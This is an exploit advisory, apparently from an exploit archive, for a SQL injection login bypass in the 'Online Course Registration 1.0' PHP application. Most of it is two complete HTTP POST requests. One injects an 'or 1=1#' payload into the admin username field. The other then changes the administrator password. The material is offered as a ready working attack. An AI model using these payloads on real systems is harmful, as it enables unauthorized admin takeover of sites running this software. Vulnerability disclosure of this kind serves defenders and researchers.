2023 Online Course Registration 1.0 SQL Injection

`## Title: 2023-Online-Course-Registration-1.0-Bypass-login-SQLi-RCE-password-changing  
## Author: nu11secur1ty  
## Date: 05.25.2023  
## Vendor: https://github.com/nikhilkeshava  
## Software: https://github.com/nikhilkeshava/online-course-registration-  
## Reference: https://portswigger.net/web-security/sql-injection,  
https://portswigger.net/web-security/sql-injection/lab-login-bypass  
  
## Description:  
The `username` parameter appears to be vulnerable to SQL injection  
attacks. The payloads 77834251' or 6127=6127-- and 98762777' or  
4535=4542-- were each submitted in the username parameter. These two  
requests resulted in different responses, indicating that the input is  
unsafely incorporated into a SQL query. The attacker can use this  
bypass login vulnerability to send a remote POST request to set a new  
administrator password for himself, which is absolutely nasty.  
  
STATUS: HIGH Vulnerability  
  
[+]Payload:  
```POST  
POST /online-course-registration/admin/index.php HTTP/1.1  
Host: pwnedhost.com  
Cookie: PHPSESSID=38468sipptm9j24j9e8svavpgn  
Content-Length: 62  
Cache-Control: max-age=0  
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"  
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: "Windows"  
Upgrade-Insecure-Requests: 1  
Origin: https://pwnedhost.com  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127  
Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: https://pwnedhost.com/online-course-registration/admin/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
username=nu11secur1ty%27+or+1%3D1%23&password=password&submit=  
  
```  
[+]Exploit:  
```POST  
POST /online-course-registration/admin/change-password.php HTTP/1.1  
Host: pwnedhost.com  
Cookie: PHPSESSID=38468sipptm9j24j9e8svavpgn  
Content-Length: 58  
Cache-Control: max-age=0  
Sec-Ch-Ua: "Chromium";v="113", "Not-A.Brand";v="24"  
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: "Windows"  
Upgrade-Insecure-Requests: 1  
Origin: https://pwnedhost.com  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)  
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127  
Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: https://pwnedhost.com/online-course-registration/admin/change-password.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
cpass=password&newpass=password5&cnfpass=password5&submit=  
  
```  
  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/nikhilkeshava/2023-Online-Course-Registration-1.0)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2023/05/2023-online-course-registration-10.html)  
  
## Time spend:  
01:15:00  
  
  
`